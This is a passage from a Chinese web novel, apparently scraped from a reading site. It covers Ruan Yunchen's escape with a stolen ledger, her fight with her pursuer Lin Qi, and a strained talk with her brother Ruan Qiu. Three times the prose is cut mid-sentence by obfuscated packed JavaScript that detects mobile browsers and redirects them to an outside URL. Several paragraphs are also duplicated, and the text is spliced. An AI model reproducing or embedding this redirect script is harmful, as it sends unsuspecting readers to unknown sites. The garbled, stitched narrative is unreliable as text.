“什么动静?”林奇的声音突然拔高了一分,脚步声带着急促的节奏朝办公室这边靠近。 脚步声随即响起,急促而杂乱,朝着诊室的方向靠近。 阮云琛屏住呼吸,眼睛飞快扫过周围,目光落在诊室内的另一扇门上。她压下心头的紧张,迅速挪动脚步,却在这时听到外面更大的一声响动。 “......人呢?” 林奇的语气中透着压抑的怒火和警觉,他的脚步声顿了顿,随即更快地朝着诊室靠近——他发现她已经不在床位上了。 现在离开床位,无非只有三个原因,要么上厕所,要么不想付林奇的医药费,要么跟这屋中的动静有关。 阮云琛几乎没有时间思考,手指飞快掠过门边的一处挂钩,顺手扯下挂着的一件宽大外套披在身上。 肩膀的疼痛仿佛一根被狠狠拉紧的弦,但此刻的紧张感让她将这份疼痛压在了意识的最底层。 阮云琛屏住呼吸,侧身避开门口的方向,目光迅速扫过办公室,最后定格在另一侧的窗户。 窗户半开,风从缝隙中涌入,带着刺骨的冷意—— 二楼,但那是她现在唯一的出路。 林奇的脚步声越来越近,地板发出嘎吱的声音,每一下都像在她的神经上踩出火花。阮云琛咬紧牙,脚步轻得像一片羽毛,慢慢靠近窗台。 她伸出手,手指刚碰到窗框的一刹那,身后传来轻微的“咔嗒”声,门把转动。 阮云琛的心脏猛地一跳,用力推开窗户,冷风呼啸着涌了进来,刺得她脸颊发疼。 林奇已经走到了办公室门口。 “妈的……”他的声音带着恼火和疑虑,门被推开一条缝隙,细微的光线映在阮云琛的身上。 她没有回头,也不敢再等,直直抓住窗台的边缘,肩膀的伤口被拉扯得一阵剧烈的疼痛,手臂瞬间发麻,手指几乎失去了力气。 可她的动作没有停, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064979|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借着一股毅力,用力翻身越过窗台。 双脚落地的一瞬间,阮云琛膝盖猛地一软,骨头撞上地面的闷响穿透耳膜,疼得她头皮发麻。她咬着牙,双手撑着地面迅速站起身,忍住了脱口而出的闷哼。 身后传来林奇的怒吼:“谁?!站住!” 他的话音刚落,一阵金属撞击的声音接踵而至,像是撞翻了某个器械箱。嘈杂的动静混杂着急促的脚步声,已经迅速逼近。 阮云琛深吸了一口气,调整呼吸,几乎是用尽全身的力气迈出脚步。每一步都带着肩膀和膝盖的刺痛,但她知道现在绝不能停下。 身后传来重重的撞门声,林奇的骂声像鞭子一样抽在她的后背:“别以为我看不见你!给我停下!” 冷风拍在她脸上,带着刺骨的寒意。巷子狭窄而昏暗,路面坑坑洼洼,地上堆满了垃圾和废弃物。 阮云琛的鞋底擦过地面,溅起了几滴泥水。她的目光扫过前方,尽头是一道半开的铁门,那是她的目标。 但她的身体已经开始抗议。 高烧让她的呼吸变得急促,胸口的每一次起伏都像被灌进了一团火焰。汗水顺着额角滑下,视线开始模糊,但她的脚步没有停。 一声巨响从后方传来,林奇踹开了门。他的身影被诊所微弱的灯光拉得很长,手里似乎还拿着一根铁棍,愤怒地喊道:“跑不掉的!你以为这些地方我不熟?” 阮云琛的目光一凝,肩膀的刺痛感被强压在后脑,她的脚步加快了些。巷子深处传来微弱的光亮,是她唯一的希望。 身后的脚步声越来越近,混杂着林奇暴躁的咒骂。阮云琛的手指下意识地攥紧,手心里已经满是汗。 巷口的铁门近在咫尺,她咬紧牙关,用尽最后一丝力气冲了过去。 刚抓住铁门的一瞬间,肩膀猛地被一道力量拽住。她的身体本能地一僵,抬手挡住了脸,接着反手一个肘击,正中身后人的手腕。 林奇吃痛地退了一步,手中的铁棍掉在了地上,发出一声刺耳的金属撞击声。 阮云琛没有回头,她猛地推开铁门,脚步没有一丝停顿地冲了出去。冷风像刀子一样划过她的脸颊,但她的脑子里只有一个念头—— 逃出去,拿着账本。 不管林奇发现拿着账本的是否是她,也不管林奇是不是已经向宋祈汇报,她的机会只有现在,也只有这么一次。 成功了,就是成功;失败了,迎接她的,只有比死更恐怖的地狱。 阮云琛的身体几乎是在燃尽最后一丝力气支撑着前行。 巷子狭长,昏暗得像一条无尽的隧道,风从头顶的破墙之间呼啸而过,带着刺骨的凉意。 她的步伐踉跄,每一次落脚都像踩在碎裂的玻璃上,疼痛刺进骨头,伴随着肩膀传来的钝痛一起啃噬她的意识。 林奇的骂声和脚步声在身后不远的地方回荡,他追得比她想象中更近,怒火中烧的吼声像一根鞭子抽在她背上:“站住!跑不掉的!” 阮云琛没有回头,她的目光死死盯着前方的出口。巷尾隐约透着微弱的光,那是她的目标,可那光线却像是隔着一层浓重的雾,忽明忽暗,似乎遥不可及。 汗水滑过她的眼角,混合着寒风刮在脸上的刺痛感,让她的视线越发模糊。 脚下的地面满是污水和垃圾,她的鞋底踩过去发出轻微的“啪嗒”声,像是随时会滑倒。肺部的灼热感在每一次喘息中翻涌,像是一团火烧在胸腔里。 还有几步。 再几步,她就能甩开林奇。 可就在这时,身后传来一阵金属撞击的声音,林奇的脚步声骤然加快。阮云琛的心脏猛地一缩,她几乎能感受到他靠近时带来的压迫感——近了,他已经近了。 “妈的!跑不了的——” 阮云琛的心脏猛地一缩,她几乎能感觉到那股追赶而来的压迫感,像一张无形的网,逐渐逼近。 她的步伐踉跄了一下,手在巷子边的墙上一撑,借力稳住了身体。冷汗顺着脸颊滑落,肩膀上的痛感已经扩散到整条脊椎,像烧红的烙铁在皮肉间反复碾压。 身后传来林奇含混不清的骂声,伴随着传呼机的拨号音。他的脚步声没有停下,气喘吁吁地挤出一句:“祈哥,有人偷了账本——我不知道是谁,跑得他妈的比兔子还快!” 阮云琛听到这话,牙关猛地一咬,耳边的尖鸣声几乎盖过了脚步声。林奇的声音却像浸着火药,从不远处炸了开来:“阮云琛?她在诊室,她......” 林奇顿了一下,语气忽然一变,像是被人迎头砸了一砖:“不对!她不在!” 阮云琛听到这里,心脏猛地一沉。她不敢回头,甚至不敢让自己的步伐停滞哪怕一秒,脚下的每一步都像踩在刀尖上。 林奇的喘息声在寂静中显得刺耳:“……我,我不知道,我在追了!祁哥,我在追了——” 眼前的巷尾依旧朦胧,像一幅褪了色的画。她的耳鸣声越发尖锐,几乎盖过了所有外界的声音。 肺部的空气仿佛被瞬间抽空,身体的每一寸肌肉都在抗议着,她的步伐却没有停下。 巷子里的夜风犹如刀割,呼啸着刮过废弃的砖墙,将破烂广告纸撕扯得哗哗作响。 阮云琛的步伐已经开始凌乱,肩膀上的伤像是灼烧般撕裂开来,疼得她眼前一阵阵发黑。可她依然咬着牙,脚步不停。 她咬着牙,强迫自己将这些声音隔绝在脑海之外。巷尾的出口依旧遥远,像一幅褪了色的画。她的耳鸣声愈发尖锐,压过了外界的一切声音,胸口的喘息像被钉死的风箱,发出嘶哑的颤动。 巷子里的风越发凌厉,刮过废弃的砖墙,将挂着的破布广告撕扯得哗哗作响。阮云琛的步伐开始失控,她的腿像被注满了铅,每一步都沉重到让人绝望。 林奇的脚步声愈发清晰,带着刺耳的碰撞声和他愤怒的喊叫:“阮云琛!你跑不了!别以为能躲得掉——” 阮云琛没回头,肩膀上的伤口已经无法感知具体的疼痛,那种烧灼般的痛楚早已变成一种模糊的钝感,压迫着她的神经。 她的视线扫过前方,突然捕捉到一抹熟悉的身影。 巷口的昏黄灯光下,阮秋的身影清晰起来。他站在那里,目光直直锁在阮云琛身上,脸上的焦急在看到她的一瞬间化为一种决然的坚定。 “......姐!” 65. 逃离 阮秋的声音在冷风中响起,低沉却清晰,像一道在混乱中劈开的线。阮云琛的脚步微微一顿,抬眼望过去,看到巷子尽头那个熟悉的身影逆着微弱的光,朝她奔来。 他跑得极快,脚步声砸在巷子地面上,带着一股急切的力道。他的脸隐在阴影里,眼神却直直地落在她身上,紧张、担忧、不解,全都裹挟在那双漆黑的瞳孔里。 “你——”阮秋停在她身前半步的距离,目光迅速扫过她的脸,又落在她扶着墙的手上,那苍白的指尖和汗湿的鬓角瞬间让他的神色一沉。 他的喉结动了动,似乎有什么话卡在喉咙里,最终却变成了一句低低的:“你怎么……” 阮云琛没让他说下去。她的呼吸因为剧烈奔跑和高烧而凌乱,每一个字都像从胸腔深处挤出来:“拿着,去棚户区老王面馆。” 话音刚落,她将怀中的账本掏出来,手腕微微一抖,强硬地塞进他的手里。 阮秋低头看了一眼账本,目光立刻重新抬起,牢牢锁在她的脸上:“你呢?一起走。” 他的声音里透着一丝不容忽视的倔强,手指却下意识地攥紧了账本。那份执拗让阮云琛微微皱眉,她的目光压得沉沉的,声音冷硬如刀:“我走不了。” 阮秋的呼吸顿时一滞。他的眉头皱得更紧了,嘴唇抿成一条直线,眼里的挣扎几乎溢了出来:“不行——” “阮秋!”阮云琛猛地提高了声音,凌厉的语气带着无法抗拒的压迫感,“听话!快走!” 她的声音像一道鞭子抽在空气里,短促而锋利,连带着自己也因为这句话耗尽了最后一点力气,脚步微微一晃,扶着墙的手又撑紧了一分。 阮秋的目光在她脸上停了几秒,唇角动了动,像是想说什么,却最终什么都没说。他忽然伸手抱住她,力道比平时更紧了一些,带着一种无法忽视的保护欲和隐忍的不甘。 他的声音压得极低,却透着一股不容辩驳的坚定:“姐,等我。” 阮云琛没有回应,甚至没有动,只是静静站在那里,手指微微松开了墙面。她的目光落在远处的地面上,像是用尽全力逼自己平静下来。 阮秋松开她的瞬间,目光狠狠在她脸上停了一秒,然后转身离开。动作干脆利落,没有一丝迟疑。 阮云琛看着他逐渐远去的背影,呼吸稍稍缓了半分,却不敢多耽搁。身后传来林奇的骂声和渐近的脚步声,像一把无形的刀,逼得她不得不咬牙站直。 她抬起眼,朝相反的方向迈出一步,身影消失在下一条狭窄的巷子里。 巷子里的夜风犹如刀割,呼啸着刮过墙角的破布和广告牌,撞击出一阵阵尖锐的声响。 阮云琛的步伐越来越沉重,汗水从额角滚落,浸湿了衣领,冰冷地贴在皮肤上,像层湿冷的铁箍,勒得她几乎喘不过气。 身后的脚步声逐渐清晰,混杂着急促的呼吸和时不时响起的金属撞击声,林奇的咒骂夹杂在其中,像一根钝刀缓慢切割着她的神经。 阮云琛咬紧牙,扶着墙转入另一条巷子,脚步有些踉跄,眼前一阵阵发黑。 肩膀上的疼痛已经扩散到胸口,每一步都像是把整个身体撕裂成两半。耳鸣和烧灼感在脑海中翻涌,她却没有停下。 ——不能停。 这三个字在她脑海里不断回荡。停下就意味着被抓,被抓就意味着前功尽弃。 她的手下意识地按住肩膀,却不敢用力,指尖沾上湿热的液体——那是从衣服里渗出来的血,像一条蜿蜒的蛇,顺着手指滴落到地面。 “阮云琛!站住!”林奇的声音从身后传来,带着不耐和愤怒。 她的步伐猛地一顿,下一秒又咬着牙拼命向前冲。 身体仿佛已经失去了支撑的力气,肌肉的每一根纤维都在抗议,每迈出一步,脚底像踩在尖刺上,刺骨的疼痛蔓延到腿部,几乎让她发出低哼。 前方巷子的尽头,隐约浮现出一抹微弱的光亮。那光晕透过夜雾,晕开成模糊的斑点,在阮云琛的视线中摇曳不定。 她的目光死死锁住那里,仿佛那是她唯一的救命稻草。 “还有一点点……再一点点……” 耳边的嗡鸣越来越尖锐,脚步声和咒骂声却越发清晰。 林奇的追赶像是黑暗中挥舞的铁锤,狠狠敲击着她的神经。 阮云琛的腿几乎没有了知觉,刺骨的疼痛攀附上全身,肩膀上的伤口像火炭一样灼烧着她的意识,每一口呼吸都像用刀子在肺里切割。 “不能停……” 她咬紧牙,踉跄着向前冲去。 身后的脚步声猛然加速,带着浓重的喘息和鞋底擦过地面的沙沙声,近了,更近了。 砰! 肩膀猛地一沉,巨大的力道从后背袭来,阮云琛猝不及防地被撞向一旁,整个人跌撞在巷道的砖墙上。 墙面粗糙的纹路擦破了她裸露的手臂,鲜血瞬间涌了出来,顺着指尖滴落到地面。 “跑啊!”林奇咬牙切齿的声音从身后传来,带着不加掩饰的怒火。 他一步步逼近,手里拎着一根不知从哪里捡来的生锈铁棍,眼神中闪过一丝阴冷的嘲弄。 阮云琛撑着墙壁勉强站稳,脸色苍白如纸,冷汗顺着额角不断滑下。她的呼吸急促,目光却没有一丝慌乱。 “把东西交出来,我还可以考虑让你活着。”林奇冷笑着,手中的铁棍在空中转了半圈,发出刺耳的摩擦声。 阮云琛没有说话,只是缓缓挪动脚步,将身体压向墙角。她的目光在林奇身后快速扫过,寻找着哪怕一点点脱身的可能。 林奇显然看出了她的意图,嘴角的弧度冷得刺骨:“你以为你还有机会?小丫头,你太天真了。” 话音未落,他已经举起铁棍,朝她的方向狠狠砸了下去。 阮云琛侧身躲开,铁棍重重砸在墙上,发出一声闷响,震得她耳膜一阵刺痛。她咬紧牙,趁着林奇短暂的动作停滞,猛地抬腿踹向他的膝盖。 林奇闷哼一声,踉跄着后退两步,但很快又稳住了身体。他的眼神变得更加凶狠,像是被激怒的野兽。他举起铁棍再次扑上来,动作更加迅猛。 阮云琛强撑着身体,脚下却一个踉跄,几乎摔倒。 她的身体已经接近极限,肩膀的伤口崩裂得更加严重,血迹一路洇透了衣料,滴在地上,蜿蜒出一条深红的线。 林奇的铁棍再一次朝她砸来。阮云琛几乎是用尽最后的力气,低头躲过攻击,然后狠狠撞向他的腹部。 两人同时倒在地上,铁棍滚落到一旁,发出清脆的金属撞击声。 她趁机用膝盖压住他的手臂,猛地用力,林奇的脸上露出一瞬间的痛苦。他大吼一声,另一只手狠狠挥拳打向她的侧腹。 剧烈的痛楚让阮云琛差点松开手,她硬生生忍住,咬紧牙,逼着自己抓住最后的机会。她抬手抓起掉在地上的铁棍,狠狠砸向林奇的手腕。 咔嚓! 林奇发出一声凄厉的惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阮云琛用力抬起脚,再一次迈出一步。疼痛像是刀子,从膝盖传到脚踝,一波接着一波。 从二楼跳下的时候一定伤到了腿,先前的十场拳也不只是肩膀受伤。高烧让实现变得模糊,皮肉生疼,连衣服的摩擦都仿佛是剜下了一块块骨肉。 阮云琛甚至能感受到骨头发出的微弱摩擦声,像破旧的齿轮,随时可能断裂。 巷子里的风愈发冰冷,将汗水带来的寒意灌进每一寸皮肤。她低着头,眼前的视线不断晃动,像隔着一层破碎的玻璃,光影扭曲而模糊。 就在这时,身后传来一声更为响亮的叫喊,紧接着是金属撞击地面的声音。 林奇似乎摔倒了,但下一秒又听到他猛然站起身的咒骂:“阮云琛!别跑!我看你还能撑多久!” 声音越来越近,脚步像带着某种可怕的节奏,压得阮云琛心脏狂跳。 阮云琛咬着牙,攥紧手指,用尽最后一丝力气冲向光亮的方向。双腿已经麻木,仿佛不再属于她自己,所有的动作都只靠本能在驱动。 蓝白的标牌越来越近,那上面的方形大字也清晰得可怕。过去的七年里每一天都不敢靠近甚至不敢抬眼看的地方,如今却成为了她唯一的希望。 模糊的光一闪一闪,引着无数飞蛾蚊虫起舞,像是一块破晓的石碑,将她从无尽的黑暗中唤回。 ——派出所。 阮云琛用力撑住门框,抬起头,喘息着挤出一个词:“救……” 话音未落,脚下再也支撑不住,她的身体猛地一倾,重重摔倒在地。 “快来人!她流血了!”警察的喊声隐约传入耳中,随后便是一片急促的脚步声。 黑暗逐渐涌上来,将所有的声音和画面吞没。 大厅里顿时一片混乱。 66. 孤舟 阮秋并不是偶然出现在那里的。 那天清晨,阮云琛从廖致远那里回来,天刚蒙蒙亮,街道上只有零星几个行人。 万秀的面摊就在巷子口,油烟和面汤的香味裹挟着晨雾弥散开来。她低着头翻动锅里的面条,没抬眼,也没说话。 摊位旁边的几张凳子上坐了几个男人,动作随意,面前的碗已经见了底,却没有一个人起身离开。 阮云琛从街口缓步走过来,脚步平稳,目光落在万秀身后的一处。她没有转头,但眼角余光已经将整个摊子前的情景扫了一遍。几个人的坐姿稍显僵硬,衣领和袖口干净得有些过分,动作间却少了寻常街坊的随意。 不是邻里,更不是客人。 面摊的客人永远只有那几个,这附近的邻居也各个都看得面熟。这么几个陌生的壮年男人突然出现,无论如何都显得突兀至极。 阮云琛很快收回视线,手插进兜里,继续往前走。鞋底摩擦过湿润的地面,发出轻微的声响。身后,有一道视线短暂地落在她身上,很快又转了回去。 楼道口安静得几乎能听见呼吸声。 阮云琛走到楼梯拐角处停了一下,手搭在冰冷的扶手上,侧耳听了一瞬——没有什么异常。她抬头看了眼楼上,灯光昏暗,墙壁上剥落的漆斑显得格外刺目。 便衣。她在心里快速确认了一遍。 如果这些人是冲着她来的,不会这么守规矩;如果他们的目标是淼淼和阮秋,就更不会这么安静。唯一的可能,是廖致远的安排—— 真快。 阮云琛扯起嘴角笑了笑。 扶手的表面冰冷粗糙,刮得指腹生疼。 平常拖拖拉拉,能躲就躲。只要有了交换条件,效率高得连门槛都顾不上。 扶手的冷意渗进皮肤,她没有再看楼下那些便衣警察一眼。楼梯间的灯光昏暗,她的背影被拉长,藏在光影交错间,看不出情绪。 阮云琛推开家门,迎面是一片沉寂,静得连门锁轻轻合上的声音都显得格外突兀。 厨房里老旧的电饭锅发出规律的“嗤嗤”声,冒着一股温热的蒸汽,米香弥散在空气里,带着些许安抚人心的暖意。 阮云琛站在门口,没有走进去,目光穿过客厅,落向窗外的某个方向。 远处的街景模糊成一团,混着清晨未散的雾气,像一道褪色的水墨画。楼下摊位的影子若隐若现,那几道伫立的身影看似无害,却让人隐隐觉得寒意渗透。 她垂下眼,站在原地片刻,指尖轻轻掠过外套的布料,带着一丝思索的停顿。 她的动作慢得像是在刻意拖延什么,直到厨房的香气渐渐淡去,她才缓缓走向沙发,整个人像是被压着什么无形的重量般坐了下来。 门锁的声音在身后转动。 阮云琛没有抬头,但目光微微一凝。 熟悉的脚步声传来,带着几分匆忙。她闭了闭眼,放松似的靠在椅背上,侧耳听着那脚步声逐渐靠近。 “姐。”阮秋推门进来,声音里带着几分压抑的低沉。他站在门口没有动,鞋子摩擦着地板,发出一声轻微的响动。他的目光迅速扫过屋子,然后定在窗边,似乎在确认什么。 他的眉头轻轻皱着,像是刻意克制住了什么情绪。他并没有直接问,而是站在那里,静静地等了一会儿,似乎是在等阮云琛开口。 空气里安静得几乎只剩下电饭锅的嗡嗡声。 “楼下的那些人......”阮秋终于开口,声音不大,却稳得像一根紧绷的线。他的目光仍然锁在窗外,语气里带着小心翼翼的探寻,却没有完全掩住一丝不易察觉的紧张,“是冲着我们来的吗?” 阮云琛没有立刻回答。 她的目光缓缓从窗外收回,落在桌上的一个水杯上。杯沿有一道细细的裂纹,阳光从窗帘的缝隙里透过来,落在那裂纹上,投下一道短暂的影子。 “不是冲着我们来的。”她的声音低而淡,听不出多余的情绪。 顿了一下,她微微抬眼,补充了一句,像是安慰,更像是某种敷衍的解释。 “他们只是做自己的事。” 屋子里安静得出奇,只有电饭锅嗤嗤作响,偶尔打破空气中的沉闷。阮云琛坐在沙发上,手里握着一杯水,目光低垂,像是在透过那杯热气模糊的液面看着什么远处的东西。 阮秋站在窗边,一只手插在口袋里,另一只手悬在半空,指尖轻轻摩挲着窗框的边缘。他的背影有些僵硬,像是一块撑在那里不肯挪动的石头。 良久,他低下了头。 “电饭锅快好了。”阮云琛忽然开口,声音带着几分漫不经心的平淡。 “嗯。”阮秋应了一声,语调也很轻,几乎让人听不出他是在回应什么。他的目光依旧落在窗外,像是在盯着某个并不存在的目标。 “淼淼今天是不是考数学?”阮云琛又问,语气里带着一点日常的随意。 “嗯……”阮秋的声音比刚才更低了一点,“好像是。” 阮云琛的嘴角轻微抿了一下,没有继续说话。 她靠在椅背上,手指无意识地敲着杯沿,视线漫无目的地扫过桌面上的盐罐和散落的纸巾盒。她看上去像是全然放松了下来,甚至有那么一瞬间,像个刚结束忙碌的普通人。 但她的余光始终在捕捉着阮秋的动作。 阮秋站了一会儿,终于转身坐到餐桌边。椅子在地板上发出一声轻微的摩擦声,随后又是长久的沉默。他拿起桌上的筷子,无意识地在桌沿敲了两下,发出的声音清脆得有些刺耳。 “桌子都要被你敲破了。”阮云琛瞥了他一眼,语气里带了点无奈的调侃。 “……哦。”阮秋的手一顿,把筷子放了下,没过一会,就又拿了起来。他的动作有些不安分,却没有多说什么。 沉默又一次笼罩了屋子。 阮云琛抬手摸了摸鼻梁,站起身走向厨房,似乎是想检查一下粥的情况。她的脚步很慢,像是并不急着做什么。锅盖被掀开的声音传来,随后是木勺搅动的声响。 “喝粥吗?”她问,语气依旧平静。 “嗯。”阮秋的回答有些心不在焉,像是机械地敷衍。 她没有再说话,把锅盖重新扣上,又转身走回来。阮秋看着她拉开椅子坐下,目光从她的手腕滑到肩膀,最终停在她脸上。 时间仿佛静止了。 阮云琛没有再开口,阮秋也没有说话。只有厨房的电饭锅还在嗤嗤作响,像一条细细的线,将这片沉寂拉得更长。 窗外的光线被楼宇切割成零碎的斑驳影子,透过旧纱窗投进来,在地板上摇晃不定。 阮秋坐在桌边,手肘撑着桌面,眼睛盯着前方,却没有对焦。他的手指在桌面上轻轻摩挲,那些无意义的动作像是在掩饰一种隐隐的焦虑。 他眉头微皱,额角的青筋随着手指的动作一起绷紧。课本放在一旁,他不时瞥一眼,却始终没有拿起来。 阮云琛的目光扫过他,似乎对他的异样全然不在意。她低头端起手边的水杯,轻轻抿了一口。热气氤氲,她看上去平静无波,像是在享受这片难得的安宁。 可她的余光一直没有离开阮秋的身影。 良久,她放下水杯,可憋了半天,也只憋出了一句:“你......中午吃了什么?” 阮秋的指尖顿了一下,似乎是意识到她在说话,却没立刻回答。他的目光依然停在某个虚无的点上,像是在神游。 “听到没有?”阮云琛又问了一遍,语调依旧轻松。 阮秋的目光终于落回到她身上。他抬起眼,迟疑了半秒,才答了一句:“面条。” 阮云琛没有再追问,只是点了点头。她的手指轻轻敲了敲水杯,隔了会儿,又问:“淼淼放学……” “姐。”阮秋的声音忽然插了进来,低沉而急切,打断了她的话。 阮云琛的话头戛然而止,她的视线转向阮秋。屋子里重新安静下来,空气像是被抽走了,剩下一片绷紧的沉默。 阮秋深吸了一口气,像是在压下某种情绪。他的目光落在桌面上,低垂的睫毛在光线里投下一片阴影,指尖微微用力,指关节发白。 “我知道最近有发生什么事……”他的声音压得很低,却清晰得像是刀锋划过空气,“但我不知道具体是什么事。” 他终于抬眼看向她,眼神里多了一种沉甸甸的东西,像是压抑了许久的情绪终于找到一个出口。他的语调并不急促,甚至是冷静的,但每一个字都带着难以忽视的重量。 阮云琛的手一顿,指尖刚好落在杯沿上,悬在那里,没有继续动作。 “如果有什么我能做的,我想帮你。” 屋子里一下子安静了下来,空气似乎都在这句话之后凝滞了。 阮云琛抬起眼,看着面前的阮秋。他的表情很冷静,却有一丝难以掩饰的紧张。那种紧张并不是源于恐惧,而更像是来自某种深思熟虑后的决意。 她看了他很久,久到阮秋开始以为她不会回答。终于,她垂下目光,语气带着一丝轻缓的无奈:“你能做的,就是别问太多。” 屋子里的沉默像水汽,浓得化不开。 阮秋站在那里,没有动。 他的手指垂在身侧,微微弯曲,掌心攥着冷汗。阮云琛的回答让他的喉咙像被什么东西堵住了一样,一口气沉在胸口,吐不出来,也咽不下去。 他的目光没有离开阮云琛,那双眼睛平静得过分,像是隔着一层冰冷的屏障。但阮秋知道,她从来都不是冷漠的人。 她的冷静是刀刃——带着锋利的疏离感,不允许任何人靠近。 “别问太多。” 那句话还在他脑子里回荡,像一根细针扎进皮肉,疼,却不致命。 他的手心微微收紧,指甲嵌进掌心,留下几道隐隐泛白的痕迹。他站在那里,胸口起伏得有些不规律,却始终没有开口。 阮云琛也没有再说话。 她低着头,手指轻轻敲了敲水杯,像是在思考什么,又像是在等待。眼前的气氛紧绷得像一根即将断裂的弦,任何一点动作都可能引发不可挽回的后果。 阮秋终于动了。 他迈了一步,脚步不重,但带着某种不容忽视的力道。 他走得很慢,每一步都像是在试探什么,又像是在积蓄力量。他的影子被窗外的光拉得很长,投在阮云琛面前的地板上,随着他靠近而逐渐缩短。 “姐。”他的声音低了下去,像是被压抑在胸腔深处,“你一个人要怎么做到?你会成功吗?” 他停住脚步,距离她只有几步之遥。声音依然不高,却带着一种咄咄逼人的力量。 那不是愤怒,也不是质问,而是一种隐忍到极限后的决绝。 阮云琛抬起眼,看着他。 他的表情依旧冷静,但眼底的那点暗色却再也掩饰不住。 紧张、焦虑,还有某种几乎化作疼痛的情绪,一起在他的瞳孔深处翻涌。阮云琛从未见过这样的阮秋——像是站在崩塌边缘,却不允许自己退后一步。 “你以为我做不到?”她的声音很轻,几乎带着一丝调侃,像是在打破这片紧张的空气。 “不是。”阮秋的声音忽然拔高了一些,又被他迅速压了下去。他咬紧了后槽牙,垂在身侧的手指微微颤抖了一下,“我相信你能做到,但……你会受伤,你更可能会......” 阮秋的目光死死盯着阮云琛,眼眶微微泛红。那最后一个字在他的喉咙里哽住了,像是一块烧得滚烫的石头,咽不下去,也吐不出来。 他想起了很久以前的那些夜晚——还不叫阮秋的时候,他缩在桥洞下,抱着膝盖,看着那个比他大不了几岁的女孩一遍又一遍地穿过街道。 她总是来得很晚,走得更晚。 每次回来,身上带着血,肩膀带着伤,或者脸颊上挂着青紫。每一步都走得很稳,可他知道那是撑出来的。她有时会坐在不远处的废墟上,背对着他,低着头,像是在捡什么东西。 可他看得见,她在哭。 眼泪顺着脸颊滑下,落进泥土里,融进她手指下那块破旧的水泥板,仿佛从未存在过。 有一次,她肩膀上挂着的布条已经渗出了血,她却没发现,依旧倔强地抬着头。那一次,他忍不住开口:“你流血了。” 她转头看了他一眼,目光冰冷得像刀子,仿佛下一秒就会把他割成两半。他被那目光吓得缩了一下,可她什么都没说,只是冷冷地哼了一声,转身离开。 但过了一会儿,她回来了,手里拿着一个油腻的塑料袋,里面装着一块掰开的馒头。她把袋子扔给他,什么也不说,却只是走去了他旁边的阴影里,默默地把另一半给吃了进去。 从那之后,他看着她的背影多了几分注意——注意她每次回来时的脚步,注意她身上的伤,注意她有时候抱着膝盖缩成一团的姿势。 她总是在没人看到的时候卸下所有的防线,掉完眼泪后,又会把自己拾掇得干干净净,擦干脸,甩甩手,再次踏出那个桥洞。 “没事人一样。”他想起这个词,牙关咬得更紧了些。 他的脑海里闪过无数这样的画面,每一次都像刀子一样划过他的胸口。 那是他最早对“阮云琛”这个名字的记忆。 不是“姐”,不是后来的她,而是那个孤零零的身影——一副比他还瘦弱的身体,却硬是撑起了一整个世界。 阮秋的手不自觉地攥紧,喉咙里发出一声短促的哽咽,随即又被压了下去。 “会死。”这个字像刀子一样扎在他的喉咙里,他不敢说,也不想说。 他闭上眼,努力压下涌到喉咙的苦涩与酸楚,可那些画面却一个接一个地涌上来,刺得他几乎站不住。 他深吸一口气,再次睁开眼,声音低得几乎听不见:“你想一个人扛下来,想保护重视的人,想让淼淼永远不知道这些东西……可你有没有想过,如果......我是说如果,如果你失败了...会怎么办?” 阮云琛的目光微微一动,嘴角似乎要扯起一个淡笑,却没能成形。她的手指在水杯上轻轻敲了一下,没有回答。 “你一个人去赌,去盲目地送死,能证明什么?”阮秋继续道,声音里带着几分近乎绝望的锋利,“你以为活下来的人,就能活得安稳吗?” 他上前一步,声音压得更低:“姐......阮云琛,让我帮你。如果我在......如果我在,你就不会孤立无援。” 阮云琛没有回应。 她本不想回应的。 她的手指还搭在水杯上,掌心传来的冰凉感让她一瞬间找到了某种细微的平衡。她垂着眼,像是没听见阮秋的话,又像是在思考什么。 屋子里的沉默很安静,却也很沉重,像一块石头压在两人之间,越压越深,直至让人喘不过气。 “姐。”阮秋又喊了一声,比刚才低了一些,但语气里却多了一点决然,“你真的以为,我什么都不知道?” 阮云琛的眉心微不可察地动了一下,随后像是被细微的电流击中般,迅速恢复平静。她抬起眼,看着阮秋的脸。他的眼神不再是试探,而是某种压抑到极点后的坦诚。 “你能知道什么?”她开口,声音里带着惯有的冷静,甚至掺了一丝轻描淡写的讥讽,“淼淼的学校成绩?还是最近的生活费是不是超支了?” 阮秋没有笑。 他的拳头攥紧,指关节泛白,像是要将某些情绪生生压在喉咙里。他没有说话,只是抬起目光,直直地对上阮云琛的眼睛。 两人对视的瞬间,空气像是凝固了一般,只有厨房老旧电饭锅的水汽声在低低响着。 “你告诉我,”阮秋的声音低沉,却带着一种刺破沉默的锋利,“楼下那些人,是冲着我们来的,还是保护我们的?” 阮云琛的眼神闪了一下,很快又恢复成一贯的冷静。她收回目光,重新垂下眼,将手指从水杯上缓缓移开,像是在做某种无意义的动作。她没有回答。 “姐,你瞒不了我。”阮秋继续道,声音已经隐隐透出一丝颤抖,“我不是淼淼,也不是小孩子了。” 阮云琛垂着眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079226|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角像是动了一下,但最终什么都没说。她的手指轻轻敲了敲桌面,像是在试图将某些东西压下去,又像是某种不自觉的防御。 